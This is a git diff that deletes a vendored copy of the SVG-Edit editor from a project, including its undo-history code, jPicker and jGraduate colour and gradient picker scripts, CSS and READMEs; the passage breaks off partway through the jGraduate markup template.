-// cmd - The command object to add
-svgedit.history.UndoManager.prototype.addCommandToHistory = function(cmd) {
-	// FIXME: we MUST compress consecutive text changes to the same element
-	// (right now each keystroke is saved as a separate command that includes the
-	// entire text contents of the text element)
-	// TODO: consider limiting the history that we store here (need to do some slicing)
-	
-	// if our stack pointer is not at the end, then we have to remove
-	// all commands after the pointer and insert the new command
-	if (this.undoStackPointer < this.undoStack.length && this.undoStack.length > 0) {
-		this.undoStack = this.undoStack.splice(0, this.undoStackPointer);
-	}
-	this.undoStack.push(cmd);
-	this.undoStackPointer = this.undoStack.length;
-};
-
-
-// Function: svgedit.history.UndoManager.beginUndoableChange
-// This function tells the canvas to remember the old values of the 
-// attrName attribute for each element sent in.  The elements and values 
-// are stored on a stack, so the next call to finishUndoableChange() will 
-// pop the elements and old values off the stack, gets the current values
-// from the DOM and uses all of these to construct the undo-able command.
-//
-// Parameters: 
-// attrName - The name of the attribute being changed
-// elems - Array of DOM elements being changed
-svgedit.history.UndoManager.prototype.beginUndoableChange = function(attrName, elems) {
-	var p = ++this.undoChangeStackPointer;
-	var i = elems.length;
-	var oldValues = new Array(i), elements = new Array(i);
-	while (i--) {
-		var elem = elems[i];
-		if (elem == null) continue;
-		elements[i] = elem;
-		oldValues[i] = elem.getAttribute(attrName);
-	}
-	this.undoableChangeStack[p] = {'attrName': attrName,
-							'oldValues': oldValues,
-							'elements': elements};
-};
-
-// Function: svgedit.history.UndoManager.finishUndoableChange
-// This function returns a BatchCommand object which summarizes the
-// change since beginUndoableChange was called.  The command can then
-// be added to the command history
-//
-// Returns: 
-// Batch command object with resulting changes
-svgedit.history.UndoManager.prototype.finishUndoableChange = function() {
-	var p = this.undoChangeStackPointer--;
-	var changeset = this.undoableChangeStack[p];
-	var i = changeset['elements'].length;
-	var attrName = changeset['attrName'];
-	var batchCmd = new svgedit.history.BatchCommand("Change " + attrName);
-	while (i--) {
-		var elem = changeset['elements'][i];
-		if (elem == null) continue;
-		var changes = {};
-		changes[attrName] = changeset['oldValues'][i];
-		if (changes[attrName] != elem.getAttribute(attrName)) {
-			batchCmd.addSubCommand(new svgedit.history.ChangeElementCommand(elem, changes, attrName));
-		}
-	}
-	this.undoableChangeStack[p] = null;
-	return batchCmd;
-};
-
-
-})();
\ No newline at end of file
diff --git a/public/svg-edit/editor/images/README.txt b/public/svg-edit/editor/images/README.txt
deleted file mode 100644
index 9224bc1c..00000000
--- a/public/svg-edit/editor/images/README.txt
+++ /dev/null
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diff --git a/public/svg-edit/editor/images/align-bottom.svg b/public/svg-edit/editor/images/align-bottom.svg
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diff --git a/public/svg-edit/editor/images/square.png b/public/svg-edit/editor/images/square.png
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diff --git a/public/svg-edit/editor/images/svg_edit_icons.svg b/public/svg-edit/editor/images/svg_edit_icons.svg
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diff --git a/public/svg-edit/editor/jgraduate/README b/public/svg-edit/editor/jgraduate/README
deleted file mode 100644
index ef3e21ff..00000000
--- a/public/svg-edit/editor/jgraduate/README
+++ /dev/null
@@ -1,3 +0,0 @@
-jGraduate - A jQuery plugin for picking gradients
-
-Licensed under the Apache License 2.  See LICENSE for more information.
diff --git a/public/svg-edit/editor/jgraduate/css/jPicker.css b/public/svg-edit/editor/jgraduate/css/jPicker.css
deleted file mode 100644
index d186af7b..00000000
--- a/public/svg-edit/editor/jgraduate/css/jPicker.css
+++ /dev/null
@@ -1 +0,0 @@
-.jPicker .Icon{display:inline-block;height:24px;position:relative;text-align:left;width:25px}.jPicker .Icon span.Color,.jPicker .Icon span.Alpha{background-position:2px 2px;display:block;height:100%;left:0;position:absolute;top:0;width:100%}.jPicker .Icon span.Image{background-repeat:no-repeat;cursor:pointer;display:block;height:100%;left:0;position:absolute;top:0;width:100%}.jPicker.Container{z-index:10}table.jPicker{background-color:#efefef;border:1px outset #666;font-family:Arial,Helvetica,Sans-Serif;font-size:12px!important;margin:0;padding:5px;width:545px;z-index:20}.jPicker .Move{background-color:#ddd;border-color:#fff #666 #666 #fff;border-style:solid;border-width:1px;cursor:move;height:12px;padding:0}.jPicker .Title{font-size:11px!important;font-weight:bold;margin:-2px 0 0 0;padding:0;text-align:center;width:100%}.jPicker div.Map{border-bottom:2px solid #fff;border-left:2px solid #9a9a9a;border-right:2px solid #fff;border-top:2px solid #9a9a9a;cursor:crosshair;height:260px;margin:0 5px 0 5px;overflow:hidden;padding:0;position:relative;width:260px}.jPicker div[class="Map"]{height:256px;width:256px}.jPicker div.Bar{border-bottom:2px solid #fff;border-left:2px solid #9a9a9a;border-right:2px solid #fff;border-top:2px solid #9a9a9a;cursor:n-resize;height:260px;margin:12px 10px 0 5px;overflow:hidden;padding:0;position:relative;width:24px}.jPicker div[class="Bar"]{height:256px;width:20px}.jPicker .Map .Map1,.jPicker .Map .Map2,.jPicker .Map .Map3,.jPicker .Bar .Map1,.jPicker .Bar .Map2,.jPicker .Bar .Map3,.jPicker .Bar .Map4,.jPicker .Bar .Map5,.jPicker .Bar .Map6{background-color:transparent;background-image:none;display:block;left:0;position:absolute;top:0}.jPicker .Map .Map1,.jPicker .Map .Map2,.jPicker .Map .Map3{height:2596px;width:256px}.jPicker .Bar .Map1,.jPicker .Bar .Map2,.jPicker .Bar .Map3,.jPicker .Bar .Map4{height:3896px;width:20px}.jPicker .Bar .Map5,.jPicker .Bar .Map6{height:256px;width:20px}.jPicker .Map .Map1,.jPicker .Map .Map2,.jPicker .Bar .Map6{background-repeat:no-repeat}.jPicker .Map .Map3,.jPicker .Bar .Map5{background-repeat:repeat}.jPicker .Bar .Map1,.jPicker .Bar .Map2,.jPicker .Bar .Map3,.jPicker .Bar .Map4{background-repeat:repeat-x}.jPicker .Map .Arrow{display:block;position:absolute}.jPicker .Bar .Arrow{display:block;left:0;position:absolute}.jPicker .Preview{font-size:9px;text-align:center}.jPicker .Preview div{border:2px inset #eee;height:62px;margin:0 auto;padding:0;width:62px}.jPicker .Preview div span{border:1px solid #000;display:block;height:30px;margin:0 auto;padding:0;width:60px}.jPicker .Preview .Active{border-bottom-width:0}.jPicker .Preview .Current{border-top-width:0;cursor:pointer}.jPicker .Button{text-align:center;width:115px}.jPicker .Button input{width:100px}.jPicker .Button .Ok{margin:12px 0 5px 0}.jPicker td.Radio{margin:0;padding:0;width:31px}.jPicker td.Radio input{margin:0 5px 0 0;padding:0}.jPicker td.Text{font-size:12px!important;height:22px;margin:0;padding:0;text-align:left;width:70px}.jPicker tr.Hex td.Text{width:100px}.jPicker td.Text input{background-color:#fff;border:1px inset #aaa;height:19px;margin:0 0 0 5px;text-align:left;width:30px}.jPicker td[class="Text"] input{height:15px}.jPicker tr.Hex td.Text input.Hex{width:50px}.jPicker tr.Hex td.Text input.AHex{width:20px}.jPicker .Grid{text-align:center;width:114px}.jPicker .Grid span.QuickColor{border:1px inset #aaa;cursor:pointer;display:inline-block;height:15px;line-height:15px;margin:0;padding:0;width:19px}.jPicker .Grid span[class="QuickColor"]{width:17px}
\ No newline at end of file
diff --git a/public/svg-edit/editor/jgraduate/css/jgraduate.css b/public/svg-edit/editor/jgraduate/css/jgraduate.css
deleted file mode 100644
index 238980a1..00000000
--- a/public/svg-edit/editor/jgraduate/css/jgraduate.css
+++ /dev/null
@@ -1,351 +0,0 @@
-/* 
- * jGraduate Default CSS
- * 
- * Copyright (c) 2010 Jeff Schiller
- * http://blog.codedread.com/
- *
- * Copyright (c) 2010 Alexis Deveria
- * http://a.deveria.com/
- *
- * Licensed under the Apache License Version 2
- */
-
-h2.jGraduate_Title {
-  font-family: Arial, Helvetica, Sans-Serif;
-  font-size: 11px !important;
-  font-weight: bold;
-  margin: -13px 0px 0px 0px;
-  padding: 0px;
-  text-align: center;
-}
-
-.jGraduate_Picker {
-	font-family: Arial, Helvetica, Sans-Serif;
-	font-size: 12px;
-	border-style: solid;
-	border-color: lightgrey black black lightgrey;
-	border-width: 1px;
-	background-color: #EFEFEF;
-	position: absolute;
-	padding: 10px;
-}
-
-.jGraduate_tabs li {
-	background-color: #ccc;
-	display: inline;
-	border: solid 1px grey;
-	padding: 3px;
-	margin: 2px;
-	cursor: pointer;
-}
-
-li.jGraduate_tab_current {
-	background-color: #EFEFEF;
-	display: inline;
-	padding: 3px;
-	margin: 2px;
-	border: solid 1px black;
-	cursor: pointer;
-}
-
-.jGraduate_colPick {
-	display: none;
-}
-
-.jGraduate_gradPick {	
-	display: none;
-	border: outset 1px #666;
-	padding: 10px 7px 5px 5px;
-	overflow: auto;
-}
-
-.jGraduate_gradPick {	
-	display: none;
-	border: outset 1px #666;
-	padding: 10px 7px 5px 5px;
-	overflow: auto;
-/*	position: relative;*/
-}
-
-.jGraduate_tabs {
-	position: relative;
-	background-color: #EFEFEF;
-	padding: 0px;
-	margin: 0px;
-	margin-bottom: 5px;
-}
-
-div.jGraduate_Swatch {
-	float: left;
-	margin: 8px;
-}
-div.jGraduate_GradContainer {
-	border: 2px inset #EEE;
-	background-image: url(../images/map-opacity.png); 
-	background-position: 0px 0px;
-	height: 256px;
-	width: 256px;
-	position: relative;
-}
-
-div.jGraduate_GradContainer div.grad_coord {
-	background: #000;
-	border: 1px solid #fff;
-	border-radius: 5px;
-	-moz-border-radius: 5px;
-	width: 10px;
-	height: 10px;
-	position: absolute;
-	margin: -5px -5px;
-	top: 0;
-	left: 0;
-	text-align: center;
-	font-size: xx-small;
-	line-height: 10px;
-	color: #fff;
-	text-decoration: none;
-	cursor: pointer;
-	-moz-user-select: none;
-	-webkit-user-select: none;
-}
-
-.jGraduate_AlphaArrows {
-	position: absolute;
-	margin-top: -10px;
-	margin-left: 250.5px;
-}
-
-div.jGraduate_Opacity {
-	border: 2px inset #eee;
-	margin-top: 14px;
-	background-color: black;
-	background-image: url(../images/Maps.png);
-	background-position: 0px -2816px;
-	height: 20px;
-	cursor: ew-resize;
-}
-
-div.jGraduate_StopSlider {
-/*	border: 2px inset #eee;*/
-	margin: 0 0 0 -10px;
-	width: 276px;
-	overflow: visible;
-	background: #efefef;
-	height: 45px;
-	cursor: pointer;
-}
-
-div.jGraduate_StopSection {
-	width: 120px;
-	text-align: center;
-}
-
-
-
-
-input.jGraduate_Ok, input.jGraduate_Cancel {
-	display: block;
-	width: 100px;
-	margin-left: -4px;
-	margin-right: -4px;
-}
-input.jGraduate_Ok {
-	margin: 9px -4px 5px -4px;
-}
-
-.colorBox {
-	float: left;
-	height: 16px;
-	width: 16px;
-	border: 1px solid #808080;
-	cursor: pointer;
-	margin: 4px 4px 4px 30px;
-}
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-.colorBox + label {
-	float: left;
-	margin-top: 7px;
-}
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-label.jGraduate_Form_Heading {
-	position: relative;
-	top: 10px;
-	background-color: #EFEFEF;
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-	font-weight: bold;
-	font-size: 13px;
-}
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-div.jGraduate_Form_Section {
-	border-style: solid;
-	border-width: 1px;
-	border-color: grey;
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-	margin: 5px 2px;
-	width: 110px;
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-	overflow: auto;
-}
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-div.jGraduate_Form_Section label {
-	padding: 0 2px;
-}
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-div.jGraduate_StopSection input[type=text],
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-	width: 33px;
-}
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-div.jGraduate_LightBox {
-	position: fixed;
-	top: 0px;
-	left: 0px;
-	right: 0px;
-	bottom: 0px;
-	background-color: #000;
-	opacity: 0.5;
-	display: none;
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-	position: absolute;
-	display: none;
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-}
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-
-.jGraduate_gradPick {
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-}
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-.jGraduate_gradPick div.jGraduate_OpacField {
-
-	position: absolute;
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-	bottom: 5px;
-/*
-	width: 270px;
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-	width: 266px;
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-	margin: -3px 3px 0px 4px;
-*/
-}
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-.jGraduate_gradPick .jGraduate_Form {
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-	height: 200px;
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-}
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-.jGraduate_gradPick .jGraduate_Points {
-	position: static;
-	width: 150px;
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-}
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-.jGraduate_SpreadMethod {
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-.jGraduate_colorblock {
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-.jGraduate_Colorblocks .jGraduate_colorblock > * {
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-.jGraduate_Slider {
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-.jGraduate_Slider .jGraduate_Form_Section {
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-	width: 250px;
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-.jGraduate_Slider label {
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-.jGraduate_Slider label.prelabel {
-	width: 40px;
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-.jGraduate_SliderBar {
-	width: 140px;
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-	margin-right: 5px;
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-	margin-top:14px;
-	margin-left:5px;
-	position: relative;
-}
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-div.jGraduate_Slider input {
-	margin-top: 5px;
-}
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-div.jGraduate_Slider img {
-	top: 0;
-	left: 0;
-	position: absolute;
-	margin-top: -10px;
-	cursor:ew-resize;
-}
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-
-.jGraduate_gradPick .jGraduate_OkCancel {
-	position: absolute;
-	top: 39px;
-	right: 10px;
-	width: 113px;
-
-}
-
-.jGraduate_OpacField {
-	position: absolute;
-	right: -10px;
-	bottom: 0;
-}
\ No newline at end of file
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diff --git a/public/svg-edit/editor/jgraduate/jpicker.min.js b/public/svg-edit/editor/jgraduate/jpicker.min.js
deleted file mode 100644
index 36c4836b..00000000
--- a/public/svg-edit/editor/jgraduate/jpicker.min.js
+++ /dev/null
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aE="";for(i=0;i<G.quickList.length;i++){if((typeof(G.quickList[i])).toString().toLowerCase()=="string"){G.quickList[i]=new f({hex:G.quickList[i]})}var aC=G.quickList[i].val("a");var aM=G.quickList[i].val("ahex");if(!aG.alphaSupport&&aM){aM=aM.substring(0,6)+"ff"}var aA=G.quickList[i].val("hex");aE+='<span class="QuickColor"'+(aM&&' title="#'+aM+'"'||"")+' style="background-color:'+(aA&&"#"+aA||"")+";"+(aA?"":"background-image:url("+n.clientPath+"NoColor.png)")+(aG.alphaSupport&&aC&&aC<255?";opacity:"+Math.precision(aC/255,4)+";filter:Alpha(opacity="+Math.precision(aC/2.55,4)+")":"")+'">&nbsp;</span>'}t.call(w,ab,n.clientPath+"bar-opacity.png");ab.html(aE);ab.find(".QuickColor").click(F)}ag.call(w,av.color.mode);G.active.bind(aj);e.isFunction(ad)&&G.active.bind(ad);G.current.bind(ap);if(aG.expandable){w.icon=az.parents(".Icon:first");aq=w.icon.find(".Color:first").css({backgroundColor:aB&&"#"+aB||"transparent"});r=w.icon.find(".Alpha:first");t.call(w,r,n.clientPath+"bar-opacity.png");Y.call(w,r,Math.precision(((255-(aJ!=null?aJ.a:0))*100)/255,4));C=w.icon.find(".Image:first").css({backgroundImage:"url("+n.clientPath+n.picker.file+")"}).bind("click",af);if(aG.bindToInput&&aG.updateInputColor){aG.input.css({backgroundColor:aB&&"#"+aB||"transparent",color:aJ==null||aJ.v>75?"#000000":"#ffffff"})}u=aD.find(".Move:first").bind("mousedown",S);G.active.bind(H)}else{V.call(w)}},ak=function(){R.find("td.Radio input").unbind("click",A);an.unbind("click",Z);X.unbind("click",q);ah.unbind("click",m);if(av.window.expandable){C.unbind("click",af);u.unbind("mousedown",S);w.icon=null}R.find(".QuickColor").unbind("click",F);l=null;s=null;au=null;at=null;ar=null;P=null;O=null;N=null;M=null;L=null;K=null;D.destroy();D=null;U.destroy();U=null;aw.destroy();aw=null;E=null;an=null;ah=null;X=null;ab=null;ae=null;ax=null;ad=null;R.html("");for(i=0;i<c.length;i++){if(c[i]==w){c.splice(i,1)}}},n=av.images,aa=av.localization,G={active:(typeof(av.color.active)).toString().toLowerCase()=="string"?new f({ahex:!av.window.alphaSupport&&av.color.active?av.color.active.substring(0,6)+"ff":av.color.active}):new f({ahex:!av.window.alphaSupport&&av.color.active.val("ahex")?av.color.active.val("ahex").substring(0,6)+"ff":av.color.active.val("ahex")}),current:(typeof(av.color.active)).toString().toLowerCase()=="string"?new f({ahex:!av.window.alphaSupport&&av.color.active?av.color.active.substring(0,6)+"ff":av.color.active}):new f({ahex:!av.window.alphaSupport&&av.color.active.val("ahex")?av.color.active.val("ahex").substring(0,6)+"ff":av.color.active.val("ahex")}),quickList:av.color.quickList};e.extend(true,w,{commitCallback:ae,liveCallback:ad,cancelCallback:ax,color:G,show:V,hide:ao,destroy:ak});c.push(w);setTimeout(function(){o.call(w)},0)})};e.fn.jPicker.defaults={window:{title:null,effects:{type:"slide",speed:{show:"slow",hide:"fast"}},position:{x:"screenCenter",y:"top"},expandable:false,liveUpdate:true,alphaSupport:false,alphaPrecision:0,updateInputColor:true},color:{mode:"h",active:new f({ahex:"#ffcc00ff"}),quickList:[new f({h:360,s:33,v:100}),new f({h:360,s:66,v:100}),new f({h:360,s:100,v:100}),new f({h:360,s:100,v:75}),new f({h:360,s:100,v:50}),new f({h:180,s:0,v:100}),new f({h:30,s:33,v:100}),new f({h:30,s:66,v:100}),new f({h:30,s:100,v:100}),new f({h:30,s:100,v:75}),new f({h:30,s:100,v:50}),new f({h:180,s:0,v:90}),new f({h:60,s:33,v:100}),new f({h:60,s:66,v:100}),new f({h:60,s:100,v:100}),new f({h:60,s:100,v:75}),new f({h:60,s:100,v:50}),new f({h:180,s:0,v:80}),new f({h:90,s:33,v:100}),new f({h:90,s:66,v:100}),new f({h:90,s:100,v:100}),new f({h:90,s:100,v:75}),new f({h:90,s:100,v:50}),new f({h:180,s:0,v:70}),new f({h:120,s:33,v:100}),new f({h:120,s:66,v:100}),new f({h:120,s:100,v:100}),new f({h:120,s:100,v:75}),new f({h:120,s:100,v:50}),new f({h:180,s:0,v:60}),new f({h:150,s:33,v:100}),new f({h:150,s:66,v:100}),new f({h:150,s:100,v:100}),new f({h:150,s:100,v:75}),new f({h:150,s:100,v:50}),new f({h:180,s:0,v:50}),new f({h:180,s:33,v:100}),new f({h:180,s:66,v:100}),new f({h:180,s:100,v:100}),new f({h:180,s:100,v:75}),new f({h:180,s:100,v:50}),new f({h:180,s:0,v:40}),new f({h:210,s:33,v:100}),new f({h:210,s:66,v:100}),new f({h:210,s:100,v:100}),new f({h:210,s:100,v:75}),new f({h:210,s:100,v:50}),new f({h:180,s:0,v:30}),new f({h:240,s:33,v:100}),new f({h:240,s:66,v:100}),new f({h:240,s:100,v:100}),new f({h:240,s:100,v:75}),new f({h:240,s:100,v:50}),new f({h:180,s:0,v:20}),new f({h:270,s:33,v:100}),new f({h:270,s:66,v:100}),new f({h:270,s:100,v:100}),new f({h:270,s:100,v:75}),new f({h:270,s:100,v:50}),new f({h:180,s:0,v:10}),new f({h:300,s:33,v:100}),new f({h:300,s:66,v:100}),new f({h:300,s:100,v:100}),new f({h:300,s:100,v:75}),new f({h:300,s:100,v:50}),new f({h:180,s:0,v:0}),new f({h:330,s:33,v:100}),new f({h:330,s:66,v:100}),new f({h:330,s:100,v:100}),new f({h:330,s:100,v:75}),new f({h:330,s:100,v:50}),new f()]},images:{clientPath:"/jPicker/images/",colorMap:{width:256,height:256,arrow:{file:"mappoint.gif",width:15,height:15}},colorBar:{width:20,height:256,arrow:{file:"rangearrows.gif",width:20,height:7}},picker:{file:"picker.gif",width:25,height:24}},localization:{text:{title:"Drag Markers To Pick A Color",newColor:"new",currentColor:"current",ok:"OK",cancel:"Cancel"},tooltips:{colors:{newColor:"New Color - Press &ldquo;OK&rdquo; To Commit",currentColor:"Click To Revert To Original Color"},buttons:{ok:"Commit To This Color Selection",cancel:"Cancel And Revert To Original Color"},hue:{radio:"Set To &ldquo;Hue&rdquo; Color Mode",textbox:"Enter A &ldquo;Hue&rdquo; Value (0-360&deg;)"},saturation:{radio:"Set To &ldquo;Saturation&rdquo; Color Mode",textbox:"Enter A &ldquo;Saturation&rdquo; Value (0-100%)"},value:{radio:"Set To &ldquo;Value&rdquo; Color Mode",textbox:"Enter A &ldquo;Value&rdquo; Value (0-100%)"},red:{radio:"Set To &ldquo;Red&rdquo; Color Mode",textbox:"Enter A &ldquo;Red&rdquo; Value (0-255)"},green:{radio:"Set To &ldquo;Green&rdquo; Color Mode",textbox:"Enter A &ldquo;Green&rdquo; Value (0-255)"},blue:{radio:"Set To &ldquo;Blue&rdquo; Color Mode",textbox:"Enter A &ldquo;Blue&rdquo; Value (0-255)"},alpha:{radio:"Set To &ldquo;Alpha&rdquo; Color Mode",textbox:"Enter A &ldquo;Alpha&rdquo; Value (0-100)"},hex:{textbox:"Enter A &ldquo;Hex&rdquo; Color Value (#000000-#ffffff)",alpha:"Enter A &ldquo;Alpha&rdquo; Value (#00-#ff)"}}}}})(jQuery,"1.1.5");
\ No newline at end of file
diff --git a/public/svg-edit/editor/jgraduate/jquery.jgraduate.js b/public/svg-edit/editor/jgraduate/jquery.jgraduate.js
deleted file mode 100644
index d4baa693..00000000
--- a/public/svg-edit/editor/jgraduate/jquery.jgraduate.js
+++ /dev/null
@@ -1,1175 +0,0 @@
-/*
- * jGraduate 0.4
- *
- * jQuery Plugin for a gradient picker
- *
- * Copyright (c) 2010 Jeff Schiller
- * http://blog.codedread.com/
- * Copyright (c) 2010 Alexis Deveria
- * http://a.deveria.com/
- *
- * Apache 2 License
-
-jGraduate( options, okCallback, cancelCallback )
-
-where options is an object literal:
-	{
-		window: { title: "Pick the start color and opacity for the gradient" },
-		images: { clientPath: "images/" },
-		paint: a Paint object,
-		newstop: String of value "same", "inverse", "black" or "white" 
-				 OR object with one or both values {color: #Hex color, opac: number 0-1}
-	}
- 
-- the Paint object is:
-	Paint {
-		type: String, // one of "none", "solidColor", "linearGradient", "radialGradient"
-		alpha: Number representing opacity (0-100),
-		solidColor: String representing #RRGGBB hex of color,
-		linearGradient: object of interface SVGLinearGradientElement,
-		radialGradient: object of interface SVGRadialGradientElement,
-	}
-
-$.jGraduate.Paint() -> constructs a 'none' color
-$.jGraduate.Paint({copy: o}) -> creates a copy of the paint o
-$.jGraduate.Paint({hex: "#rrggbb"}) -> creates a solid color paint with hex = "#rrggbb"
-$.jGraduate.Paint({linearGradient: o, a: 50}) -> creates a linear gradient paint with opacity=0.5
-$.jGraduate.Paint({radialGradient: o, a: 7}) -> creates a radial gradient paint with opacity=0.07
-$.jGraduate.Paint({hex: "#rrggbb", linearGradient: o}) -> throws an exception?
-
-- picker accepts the following object as input:
-	{
-		okCallback: function to call when Ok is pressed
-		cancelCallback: function to call when Cancel is pressed
-		paint: object describing the paint to display initially, if not set, then default to opaque white
-	}
-
-- okCallback receives a Paint object
-
- *
- */
- 
-(function() {
- 
-var ns = { svg: 'http://www.w3.org/2000/svg', xlink: 'http://www.w3.org/1999/xlink' };
-if(!window.console) {
-  window.console = new function() {
-    this.log = function(str) {};
-    this.dir = function(str) {};
-  };
-}
-
-$.jGraduate = { 
-	Paint:
-		function(opt) {
-			var options = opt || {};
-			this.alpha = isNaN(options.alpha) ? 100 : options.alpha;
-			// copy paint object
-    		if (options.copy) {
-    			this.type = options.copy.type;
-    			this.alpha = options.copy.alpha;
-				this.solidColor = null;
-				this.linearGradient = null;
-				this.radialGradient = null;
-
-    			switch(this.type) {
-    				case "none":
-    					break;
-    				case "solidColor":
-    					this.solidColor = options.copy.solidColor;
-    					break;
-    				case "linearGradient":
-    					this.linearGradient = options.copy.linearGradient.cloneNode(true);
-    					break;
-    				case "radialGradient":
-    					this.radialGradient = options.copy.radialGradient.cloneNode(true);
-    					break;
-    			}
-    		}
-    		// create linear gradient paint
-    		else if (options.linearGradient) {
-    			this.type = "linearGradient";
-    			this.solidColor = null;
-    			this.radialGradient = null;
-    			this.linearGradient = options.linearGradient.cloneNode(true);
-    		}
-    		// create linear gradient paint
-    		else if (options.radialGradient) {
-    			this.type = "radialGradient";
-    			this.solidColor = null;
-    			this.linearGradient = null;
-    			this.radialGradient = options.radialGradient.cloneNode(true);
-    		}
-    		// create solid color paint
-    		else if (options.solidColor) {
-    			this.type = "solidColor";
-    			this.solidColor = options.solidColor;
-    		}
-    		// create empty paint
-	    	else {
-	    		this.type = "none";
-    			this.solidColor = null;
-    			this.linearGradient = null;
-    			this.radialGradient = null;
-	    	}
-		}
-};
-
-jQuery.fn.jGraduateDefaults = {
-	paint: new $.jGraduate.Paint(),
-	window: {
-		pickerTitle: "Drag markers to pick a paint"
-	},
-	images: {
-		clientPath: "images/"
-	},
-	newstop: 'inverse' // same, inverse, black, white
-};
-
-var isGecko = navigator.userAgent.indexOf('Gecko/') >= 0;
-
-function setAttrs(elem, attrs) {
-	if(isGecko) {
-		for (var aname in attrs) elem.setAttribute(aname, attrs[aname]);
-	} else {
-		for (var aname in attrs) {
-			var val = attrs[aname], prop = elem[aname];
-			if(prop && prop.constructor === 'SVGLength') {
-				prop.baseVal.value = val;
-			} else {
-				elem.setAttribute(aname, val);
-			}
-		}
-	}
-}
-
-function mkElem(name, attrs, newparent) {
-	var elem = document.createElementNS(ns.svg, name);
-	setAttrs(elem, attrs);
-	if(newparent) newparent.appendChild(elem);
-	return elem;
-}
-
-jQuery.fn.jGraduate =
-	function(options) {
-	 	var $arguments = arguments;
-		return this.each( function() {
-			var $this = $(this), $settings = $.extend(true, {}, jQuery.fn.jGraduateDefaults, options),
-				id = $this.attr('id'),
-				idref = '#'+$this.attr('id')+' ';
-			
-            if (!idref)
-            {
-              alert('Container element must have an id attribute to maintain unique id strings for sub-elements.');
-              return;
-            }
-            
-            var okClicked = function() {
-	            switch ( $this.paint.type ) {
-	            	case "radialGradient":
-	            		$this.paint.linearGradient = null;
-	            		break;
-	            	case "linearGradient":
-	            		$this.paint.radialGradient = null;
-	            		break;
-	            	case "solidColor":
-	            		$this.paint.radialGradient = $this.paint.linearGradient = null;
-	            		break;
-	            }
-            	$.isFunction($this.okCallback) && $this.okCallback($this.paint);
-            	$this.hide();
-            },
-            cancelClicked = function() {
-            	$.isFunction($this.cancelCallback) && $this.cancelCallback();
-            	$this.hide();
-            };
-
-            $.extend(true, $this, // public properties, methods, and callbacks
-              {
-              	// make a copy of the incoming paint
-                paint: new $.jGraduate.Paint({copy: $settings.paint}),
-                okCallback: $.isFunction($arguments[1]) && $arguments[1] || null,
-                cancelCallback: $.isFunction($arguments[2]) && $arguments[2] || null
-              });
-
-			var pos = $this.position(),
-				color = null;
-			var $win = $(window);
-
-			if ($this.paint.type == "none") {
-				$this.paint = $.jGraduate.Paint({solidColor: 'ffffff'});
-			}
-			
-            $this.addClass('jGraduate_Picker');
-            $this.html('<ul class="jGraduate_tabs">' +
-            				'<li class="jGraduate_tab_color jGraduate_tab_current" data-type="col">Solid Color</li>' +
-            				'<li class="jGraduate_tab_lingrad" data-type="lg">Linear Gradient</li>' +
-            				'<li class="jGraduate_tab_radgrad" data-type="rg">Radial Gradient</li>' +
-            			'</ul>' +
-            			'<div class="jGraduate_colPick"></div>' +
-            			'<div class="jGraduate_gradPick"></div>' +
-						'<div class="jGraduate_LightBox"></div>' +
-						'<div id="' + id + '_jGraduate_stopPicker" class="jGraduate_stopPicker"></div>'
-            			
-            			
-            			);
-			var colPicker = $(idref + '> .jGraduate_colPick');
-			var gradPicker = $(idref + '> .jGraduate_gradPick');
-			
-            gradPicker.html(
-            	'<div id="' + id + '_jGraduate_Swatch" class="jGraduate_Swatch">' +
-            		'<h2 class="jGraduate_Title">' + $settings.window.pickerTitle + '</h2>' +
-            		'<div id="' + id + '_jGraduate_GradContainer" class="jGraduate_GradContainer"></div>' +
-            		'<div id="' + id + '_jGraduate_StopSlider" class="jGraduate_StopSlider"></div>' +
-            	'</div>' + 
-            	'<div class="jGraduate_Form jGraduate_Points jGraduate_lg_field">' +
-            		'<div class="jGraduate_StopSection">' +
-	            		'<label class="jGraduate_Form_Heading">Begin Point</label>' +
-    	        		'<div class="jGraduate_Form_Section">' +
-        	    			'<label>x:</label>' +
-            				'<input type="text" id="' + id + '_jGraduate_x1" size="3" title="Enter starting x value between 0.0 and 1.0"/>' +
-            				'<label> y:</label>' +
-            				'<input type="text" id="' + id + '_jGraduate_y1" size="3" title="Enter starting y value between 0.0 and 1.0"/>' +
-        	   			'</div>' +
-        	   		'</div>' +
-        	   		'<div class="jGraduate_StopSection">' +
-	            		'<label class="jGraduate_Form_Heading">End Point</label>' +
-    	        		'<div class="jGraduate_Form_Section">' +
-	    	        		'<label>x:</label>' +
-		    	        	'<input type="text" id="' + id + '_jGraduate_x2" size="3" title="Enter ending x value between 0.0 and 1.0"/>' +
-    		    	    	'<label> y:</label>' +
-        		    		'<input type="text" id="' + id + '_jGraduate_y2" size="3" title="Enter ending y value between 0.0 and 1.0"/>' +
-    	    	    	'</div>' +
-    	    	    '</div>' +
-    	       	'</div>' +
-            	'<div class="jGraduate_Form jGraduate_Points jGraduate_rg_field">' +
-					'<div class="jGraduate_StopSection">' +
-						'<label class="jGraduate_Form_Heading">Center Point</label>' +
-						'<div class="jGraduate_Form_Section">' +
-							'<label>x:</label>' +
-							'<input type="text" id="' + id + '_jGraduate_cx" size="3" title="Enter x value between 0.0 and 1.0"/>' +
-							'<label> y:</label>' +
-							'<input type="text" id="' + id + '_jGraduate_cy" size="3" title="Enter y value between 0.0 and 1.0"/>' +
-						'</div>' +
-					'</div>' +
-					'<div class="jGraduate_StopSection">' +
-						'<label class="jGraduate_Form_Heading">Focal Point</label>' +
-						'<div class="jGraduate_Form_Section">' +
-							'<label>Match center: <input type="checkbox" checked="checked" id="' + id + '_jGraduate_match_ctr"/></label><br/>' +
-							'<label>x:</label>' +
-							'<input type="text" id="' + id + '_jGraduate_fx" size="3" title="Enter x value between 0.0 and 1.0"/>' +
-							'<label> y:</label>' +
-							'<input type="text" id="' + id + '_jGraduate_fy" size="3" title="Enter y value between 0.0 and 1.0"/>' +
-						'</div>' +
-					'</div>' +
-    	       	'</div>' +
-				'<div class="jGraduate_StopSection jGraduate_SpreadMethod">' +
-					'<label class="jGraduate_Form_Heading">Spread method</label>' +
-					'<div class="jGraduate_Form_Section">' +
-						'<select class="jGraduate_spreadMethod">' +
-							'<option value=pad selected>Pad</option>' +
-							'<option value=reflect>Reflect</option>' +
-							'<option value=repeat>Repeat</option>' +
-						'</select>' + 
-					'</div>' +
-				'</div>' +
-            	'<div class="jGraduate_Form">' +
-        	   		'<div class="jGraduate_Slider jGraduate_RadiusField jGraduate_rg_field">' +
-						'<label class="prelabel">Radius:</label>' +
-						'<div id="' + id + '_jGraduate_Radius" class="jGraduate_SliderBar jGraduate_Radius" title="Click to set radius">' +
